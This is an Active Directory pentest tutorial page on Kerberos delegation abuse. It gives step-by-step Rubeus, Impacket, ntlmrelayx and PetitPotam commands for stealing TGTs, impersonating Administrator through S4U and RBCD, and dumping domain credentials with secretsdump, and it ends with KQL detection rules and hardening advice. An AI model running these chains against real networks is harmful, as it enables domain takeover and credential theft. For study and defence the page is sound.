Kerberos Delegation Attacks
Kerberos delegation allows services to impersonate users when accessing other services. Misconfigurations in unconstrained, constrained, and resource-based constrained delegation (RBCD) are among the most powerful and commonly exploited AD attack vectors, enabling full domain compromise from a single misconfigured object.
Danger
msDS-AllowedToActOnBehalfOfOtherIdentity changes AD object attributes.
📚 Quick Navigation
🎯 Fundamentals
⚡ Attack Techniques
🛡️ Detection & Defense
🎯 Why Delegation Attacks Are Critical
- Extremely Common: Most enterprise AD environments have at least one misconfigured delegation — especially RBCD write permissions via default MachineAccountQuota.
- Direct DA Path: Unconstrained delegation on any server caches Domain Admin TGTs, enabling immediate domain compromise with a single coercion trigger.
- Low Detection: S4U requests blend with normal Kerberos traffic — most SIEMs don't alert on delegation abuse without specific analytics.
- Chaining Power: RBCD + coercion (PetitPotam/PrinterBug) chains are the #1 modern AD compromise path, bypassing need for any credentials.
Delegation Overview
Kerberos delegation enables a service to act on behalf of a user when accessing another service. There are three types, each with different security implications:
| Type | AD Attribute | Risk Level | Description |
|---|---|---|---|
| Unconstrained | TRUSTED_FOR_DELEGATION | Critical | Server caches user TGTs in memory — any user's ticket can be extracted |
| Constrained | msDS-AllowedToDelegateTo | High | Service can impersonate users to specific SPNs (S4U2Proxy) |
| RBCD | msDS-AllowedToActOnBehalfOfOtherIdentity | High | Target service specifies who can delegate TO it — writable by resource owner |
Enumeration & Discovery
Find Delegation Targets with BloodHound
# BloodHound Cypher queries for delegation
# Unconstrained delegation (excluding DCs)
MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name CONTAINS 'DC' RETURN c.name
# Constrained delegation
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
RETURN c.name, c.allowedtodelegate
# RBCD — who can write msDS-AllowedToActOnBehalfOfOtherIdentity?
MATCH p=(u)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl|Owns]->(c:Computer)
RETURN p# BloodHound Cypher queries for delegation
# Unconstrained delegation (excluding DCs)
MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name CONTAINS 'DC' RETURN c.name
# Constrained delegation
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
RETURN c.name, c.allowedtodelegate
# RBCD — who can write msDS-AllowedToActOnBehalfOfOtherIdentity?
MATCH p=(u)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl|Owns]->(c:Computer)
RETURN pLDAP Enumeration
# Find unconstrained delegation with ldapsearch
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
"(userAccountControl:1.2.840.113556.1.4.803:=524288)" dn
# Find constrained delegation (msDS-AllowedToDelegateTo set)
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
"(msDS-AllowedToDelegateTo=*)" dn msDS-AllowedToDelegateTo
# PowerView — enumerate all delegation types
Get-DomainComputer -Unconstrained | Select-Object name
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
Get-DomainComputer | Where-Object { $_.'msds-allowedtoactonbehalfofotheridentity' } | Select-Object name
# NetExec — quick check
nxc ldap dc01.corp.local -u user -p 'Pass123' --delegations# Find unconstrained delegation with ldapsearch
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
"(userAccountControl:1.2.840.113556.1.4.803:=524288)" dn
# Find constrained delegation (msDS-AllowedToDelegateTo set)
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
"(msDS-AllowedToDelegateTo=*)" dn msDS-AllowedToDelegateTo
# PowerView — enumerate all delegation types
Get-DomainComputer -Unconstrained | Select-Object name
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
Get-DomainComputer | Where-Object { $_.'msds-allowedtoactonbehalfofotheridentity' } | Select-Object name
# NetExec — quick check
nxc ldap dc01.corp.local -u user -p 'Pass123' --delegationsTools & Setup
Impacket (Linux)
getST.py, rbcd.py, secretsdump.py, ntlmrelayx.py
pip install impacket Rubeus (Windows)
s4u, tgtdeleg, monitor, asktgt, harvest
GhostPack/Rubeus (compile from source) StandIn (.NET)
RBCD setting, machine account creation, DACL abuse
FuzzySecurity/StandIn krbrelayx (Linux)
Relay Kerberos auth, unconstrained delegation abuse
dirkjanm/krbrelayx Unconstrained Delegation
When a computer is trusted for unconstrained delegation, it stores the TGT of any user who authenticates to it. If you compromise that machine, you can extract all cached TGTs — including those of Domain Admins.
Attack: Monitor & Extract TGTs
# Rubeus — monitor for incoming TGTs on compromised server
Rubeus.exe monitor /interval:5 /nowrap
# Rubeus — extract TGTs from memory
Rubeus.exe triage
Rubeus.exe dump /luid:0x12345 /nowrap
# Use captured TGT to access DC
Rubeus.exe ptt /ticket:<base64-ticket>
dir \\dc01.corp.local\c$# Rubeus — monitor for incoming TGTs on compromised server
Rubeus.exe monitor /interval:5 /nowrap
# Rubeus — extract TGTs from memory
Rubeus.exe triage
Rubeus.exe dump /luid:0x12345 /nowrap
# Use captured TGT to access DC
Rubeus.exe ptt /ticket:<base64-ticket>
dir \\dc01.corp.local\c$Attack: Coercion + Unconstrained (Printer Bug)
Force a DC to authenticate to your unconstrained delegation host using the Print Spooler (PrinterBug) or PetitPotam. The DC's TGT gets cached on your controlled host.
# Step 1: Start monitoring on the unconstrained delegation machine
Rubeus.exe monitor /interval:5 /filteruser:dc01$ /nowrap
# Step 2: Trigger coercion from attacker machine
# PrinterBug (SpoolSample)
SpoolSample.exe dc01.corp.local unconstrained-host.corp.local
# PetitPotam (unauthenticated if patched, auth if not)
python3 PetitPotam.py unconstrained-host.corp.local dc01.corp.local
# Step 3: Grab the DC TGT from Rubeus output and pass it
Rubeus.exe ptt /ticket:<DC-TGT-base64>
# Step 4: DCSync with DA-equivalent access
secretsdump.py 'corp.local/dc01$@dc01.corp.local' -k -no-pass# Step 1: Start monitoring on the unconstrained delegation machine
Rubeus.exe monitor /interval:5 /filteruser:dc01$ /nowrap
# Step 2: Trigger coercion from attacker machine
# PrinterBug (SpoolSample)
SpoolSample.exe dc01.corp.local unconstrained-host.corp.local
# PetitPotam (unauthenticated if patched, auth if not)
python3 PetitPotam.py unconstrained-host.corp.local dc01.corp.local
# Step 3: Grab the DC TGT from Rubeus output and pass it
Rubeus.exe ptt /ticket:<DC-TGT-base64>
# Step 4: DCSync with DA-equivalent access
secretsdump.py 'corp.local/dc01$@dc01.corp.local' -k -no-passWarning
Constrained Delegation (S4U2Proxy)
Constrained delegation limits which services an account can impersonate to. However, with access to the delegating account's credentials or TGT, you can abuse S4U2Self + S4U2Proxy to get tickets for any user to the allowed services. The SPN in the ticket can also be changed (SPN mismatch is not validated).
Attack: S4U2Proxy with NTLM Hash
# Scenario: svc-sql account is constrained to delegate to MSSQLSvc/sql01.corp.local
# You have svc-sql's NTLM hash
# Impacket — request ticket as Administrator to the target SPN
getST.py -spn MSSQLSvc/sql01.corp.local -impersonate Administrator \
-hashes :a1b2c3d4e5f6 corp.local/svc-sql
# Export and use the ticket
export KRB5CCNAME=Administrator@MSSQLSvc_sql01.corp.local@CORP.LOCAL.ccache
mssqlclient.py -k sql01.corp.local
# SPN alteration — delegate says CIFS only, but modify SPN to LDAP
# The service name in ticket is NOT validated by target
getST.py -spn 'cifs/dc01.corp.local' -impersonate Administrator \
-altservice 'ldap/dc01.corp.local' \
-hashes :a1b2c3d4e5f6 corp.local/svc-web# Scenario: svc-sql account is constrained to delegate to MSSQLSvc/sql01.corp.local
# You have svc-sql's NTLM hash
# Impacket — request ticket as Administrator to the target SPN
getST.py -spn MSSQLSvc/sql01.corp.local -impersonate Administrator \
-hashes :a1b2c3d4e5f6 corp.local/svc-sql
# Export and use the ticket
export KRB5CCNAME=Administrator@MSSQLSvc_sql01.corp.local@CORP.LOCAL.ccache
mssqlclient.py -k sql01.corp.local
# SPN alteration — delegate says CIFS only, but modify SPN to LDAP
# The service name in ticket is NOT validated by target
getST.py -spn 'cifs/dc01.corp.local' -impersonate Administrator \
-altservice 'ldap/dc01.corp.local' \
-hashes :a1b2c3d4e5f6 corp.local/svc-webAttack: S4U2Proxy with Rubeus (Windows)
# Get TGT for the constrained delegation account
Rubeus.exe asktgt /user:svc-sql /rc4:a1b2c3d4e5f6 /nowrap
# S4U — impersonate DA to the allowed SPN
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
/msdsspn:MSSQLSvc/sql01.corp.local /ptt
# With protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION)
# S4U2Self + S4U2Proxy full chain
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
/msdsspn:cifs/dc01.corp.local /altservice:ldap /ptt
# Verify access
dir \\dc01.corp.local\c$# Get TGT for the constrained delegation account
Rubeus.exe asktgt /user:svc-sql /rc4:a1b2c3d4e5f6 /nowrap
# S4U — impersonate DA to the allowed SPN
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
/msdsspn:MSSQLSvc/sql01.corp.local /ptt
# With protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION)
# S4U2Self + S4U2Proxy full chain
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
/msdsspn:cifs/dc01.corp.local /altservice:ldap /ptt
# Verify access
dir \\dc01.corp.local\c$Information
cifs/host, you can use /altservice:ldap to
change the SPN to ldap/host — enabling DCSync from a CIFS-only delegation.
Resource-Based Constrained Delegation (RBCD)
RBCD flips constrained delegation — instead of the front-end service saying "I can delegate to X", the
back-end resource says "X can delegate to me" via msDS-AllowedToActOnBehalfOfOtherIdentity.
Anyone who can write to this attribute on a target computer can configure delegation to it.
Prerequisites for RBCD Attack
| Requirement | How to Get It |
|---|---|
| Write access to target's msDS-AllowedToActOnBehalfOfOtherIdentity | GenericAll, GenericWrite, WriteProperty, or WriteDacl on target computer |
| Control of a computer account with SPN | Create one via MachineAccountQuota (default: 10), or compromise existing |
| Know the password/hash of controlled machine | Set password during creation, or extract from compromised host |
Attack: Full RBCD Chain (Impacket)
# Step 1: Create a machine account (using MachineAccountQuota)
addcomputer.py -computer-name 'FAKECOMP$' -computer-pass 'FakePass123!' \
-dc-ip 10.10.10.10 'corp.local/lowpriv:Password1'
# Step 2: Set RBCD — configure target to trust our fake computer
rbcd.py -delegate-from 'FAKECOMP$' -delegate-to 'TARGET-SRV$' \
-dc-ip 10.10.10.10 -action write 'corp.local/lowpriv:Password1'
# Step 3: Get service ticket as admin to the target via S4U
getST.py -spn cifs/target-srv.corp.local -impersonate Administrator \
-dc-ip 10.10.10.10 'corp.local/FAKECOMP$:FakePass123!'
# Step 4: Use the ticket
export KRB5CCNAME=Administrator@cifs_target-srv.corp.local@CORP.LOCAL.ccache
smbclient.py -k -no-pass target-srv.corp.local
secretsdump.py -k -no-pass target-srv.corp.local# Step 1: Create a machine account (using MachineAccountQuota)
addcomputer.py -computer-name 'FAKECOMP$' -computer-pass 'FakePass123!' \
-dc-ip 10.10.10.10 'corp.local/lowpriv:Password1'
# Step 2: Set RBCD — configure target to trust our fake computer
rbcd.py -delegate-from 'FAKECOMP$' -delegate-to 'TARGET-SRV$' \
-dc-ip 10.10.10.10 -action write 'corp.local/lowpriv:Password1'
# Step 3: Get service ticket as admin to the target via S4U
getST.py -spn cifs/target-srv.corp.local -impersonate Administrator \
-dc-ip 10.10.10.10 'corp.local/FAKECOMP$:FakePass123!'
# Step 4: Use the ticket
export KRB5CCNAME=Administrator@cifs_target-srv.corp.local@CORP.LOCAL.ccache
smbclient.py -k -no-pass target-srv.corp.local
secretsdump.py -k -no-pass target-srv.corp.localAttack: RBCD with Rubeus + StandIn (Windows)
# Step 1: Create machine account
StandIn.exe --computer FAKECOMP --make
# Step 2: Set RBCD on target
StandIn.exe --computer TARGET-SRV --sid <FAKECOMP-SID>
# Step 3: Get TGT for fake machine account
Rubeus.exe asktgt /user:FAKECOMP$ /password:FakePass123! /nowrap
# Step 4: S4U — impersonate admin to target
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
/msdsspn:cifs/target-srv.corp.local /ptt
# Step 5: Access the target
dir \\target-srv.corp.local\c$# Step 1: Create machine account
StandIn.exe --computer FAKECOMP --make
# Step 2: Set RBCD on target
StandIn.exe --computer TARGET-SRV --sid <FAKECOMP-SID>
# Step 3: Get TGT for fake machine account
Rubeus.exe asktgt /user:FAKECOMP$ /password:FakePass123! /nowrap
# Step 4: S4U — impersonate admin to target
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
/msdsspn:cifs/target-srv.corp.local /ptt
# Step 5: Access the target
dir \\target-srv.corp.local\c$Attack: RBCD via Coercion (No Credentials)
Combine NTLM relay with coercion to set RBCD without any starting credentials. Relay the coerced authentication to LDAP and configure RBCD on the target.
# Step 1: Start ntlmrelayx targeting LDAP, configuring RBCD
ntlmrelayx.py -t ldaps://dc01.corp.local \
--delegate-access --escalate-user 'FAKECOMP$'
# Step 2: Coerce authentication from the target machine
python3 PetitPotam.py attacker-ip target-srv.corp.local
# ntlmrelayx sets msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET-SRV$
# pointing to FAKECOMP$ — now complete the S4U chain as above
# Step 3: Get service ticket
getST.py -spn cifs/target-srv.corp.local -impersonate Administrator \
-dc-ip 10.10.10.10 'corp.local/FAKECOMP$:FakePass123!'
# Step 4: Profit
export KRB5CCNAME=Administrator@cifs_target-srv.corp.local@CORP.LOCAL.ccache
secretsdump.py -k -no-pass target-srv.corp.local# Step 1: Start ntlmrelayx targeting LDAP, configuring RBCD
ntlmrelayx.py -t ldaps://dc01.corp.local \
--delegate-access --escalate-user 'FAKECOMP$'
# Step 2: Coerce authentication from the target machine
python3 PetitPotam.py attacker-ip target-srv.corp.local
# ntlmrelayx sets msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET-SRV$
# pointing to FAKECOMP$ — now complete the S4U chain as above
# Step 3: Get service ticket
getST.py -spn cifs/target-srv.corp.local -impersonate Administrator \
-dc-ip 10.10.10.10 'corp.local/FAKECOMP$:FakePass123!'
# Step 4: Profit
export KRB5CCNAME=Administrator@cifs_target-srv.corp.local@CORP.LOCAL.ccache
secretsdump.py -k -no-pass target-srv.corp.localTip
rbcd.py -delegate-from 'FAKECOMP$' -delegate-to 'TARGET-SRV$' -action flush -dc-ip 10.10.10.10 'corp.local/lowpriv:Password1' S4U Attack Chains Deep Dive
S4U (Service for User) consists of two Kerberos extensions that enable delegation:
| Extension | Purpose | Who Can Use It |
|---|---|---|
| S4U2Self | Get a forwardable service ticket for any user to yourself | Accounts with TRUSTED_TO_AUTH_FOR_DELEGATION or RBCD target |
| S4U2Proxy | Exchange a forwardable ticket for a ticket to another service | Accounts with constrained delegation or RBCD configured |
Full S4U Chain: Protocol Transition
# When TRUSTED_TO_AUTH_FOR_DELEGATION is set, S4U2Self returns a forwardable ticket
# This means you can impersonate ANY user (including DA) without their password
# Chain: S4U2Self (get ticket as admin to self) → S4U2Proxy (forward to target SPN)
# Using Rubeus
Rubeus.exe s4u /user:svc-web /rc4:a1b2c3d4 \
/impersonateuser:Administrator \
/msdsspn:cifs/fileserver.corp.local /ptt
# Using Impacket
getST.py -spn cifs/fileserver.corp.local -impersonate Administrator \
-hashes :a1b2c3d4 corp.local/svc-web
# RBCD variant — S4U2Self ticket is always forwardable for RBCD
# Even without TRUSTED_TO_AUTH_FOR_DELEGATION
getST.py -spn cifs/target.corp.local -impersonate Administrator \
corp.local/'FAKECOMP$':'FakePass123!'# When TRUSTED_TO_AUTH_FOR_DELEGATION is set, S4U2Self returns a forwardable ticket
# This means you can impersonate ANY user (including DA) without their password
# Chain: S4U2Self (get ticket as admin to self) → S4U2Proxy (forward to target SPN)
# Using Rubeus
Rubeus.exe s4u /user:svc-web /rc4:a1b2c3d4 \
/impersonateuser:Administrator \
/msdsspn:cifs/fileserver.corp.local /ptt
# Using Impacket
getST.py -spn cifs/fileserver.corp.local -impersonate Administrator \
-hashes :a1b2c3d4 corp.local/svc-web
# RBCD variant — S4U2Self ticket is always forwardable for RBCD
# Even without TRUSTED_TO_AUTH_FOR_DELEGATION
getST.py -spn cifs/target.corp.local -impersonate Administrator \
corp.local/'FAKECOMP$':'FakePass123!'Detection & Blue Team
Windows Event IDs
| Event ID | Source | Indicator |
|---|---|---|
| 4768 | Security | TGT request — look for machine accounts requesting TGTs with unusual encryption (RC4 instead of AES) |
| 4769 | Security | Service ticket request — S4U2Proxy shows Transited Services field populated |
| 4770 | Security | Service ticket renewed — unusual renewal patterns for delegation |
| 5136 | Security | Directory object modified — watch for msDS-AllowedToActOnBehalfOfOtherIdentity changes (RBCD) |
| 4741 | Security | Computer account created — MachineAccountQuota abuse for RBCD |
Sigma / KQL Detection Rules
// KQL — Detect RBCD attribute modifications
SecurityEvent
| where EventID == 5136
| where ObjectClass == "computer"
| where AttributeLDAPDisplayName == "msDS-AllowedToActOnBehalfOfOtherIdentity"
| project TimeGenerated, SubjectUserName, ObjectDN, OperationType
// KQL — Detect suspicious machine account creation
SecurityEvent
| where EventID == 4741
| where SubjectUserName !endswith "$" // Non-machine creating machine accounts
| project TimeGenerated, SubjectUserName, TargetUserName, SubjectDomainName
// KQL — Detect S4U2Proxy ticket requests (Transited Services populated)
SecurityEvent
| where EventID == 4769
| where TransitedServices != ""
| project TimeGenerated, TargetUserName, ServiceName, TransitedServices, IpAddress// KQL — Detect RBCD attribute modifications
SecurityEvent
| where EventID == 5136
| where ObjectClass == "computer"
| where AttributeLDAPDisplayName == "msDS-AllowedToActOnBehalfOfOtherIdentity"
| project TimeGenerated, SubjectUserName, ObjectDN, OperationType
// KQL — Detect suspicious machine account creation
SecurityEvent
| where EventID == 4741
| where SubjectUserName !endswith "$" // Non-machine creating machine accounts
| project TimeGenerated, SubjectUserName, TargetUserName, SubjectDomainName
// KQL — Detect S4U2Proxy ticket requests (Transited Services populated)
SecurityEvent
| where EventID == 4769
| where TransitedServices != ""
| project TimeGenerated, TargetUserName, ServiceName, TransitedServices, IpAddressPrevention & Hardening
Disable Unconstrained Delegation
Remove TRUSTED_FOR_DELEGATION from all non-DC computers. Only DCs need unconstrained delegation.
Set MachineAccountQuota to 0
Prevents unprivileged users from creating machine accounts used in RBCD attacks.
Protected Users Group
Add DA accounts to Protected Users — prevents delegation and forces AES-only Kerberos.
Audit DACL Permissions
Regularly audit who has GenericWrite/GenericAll on computer objects — these enable RBCD.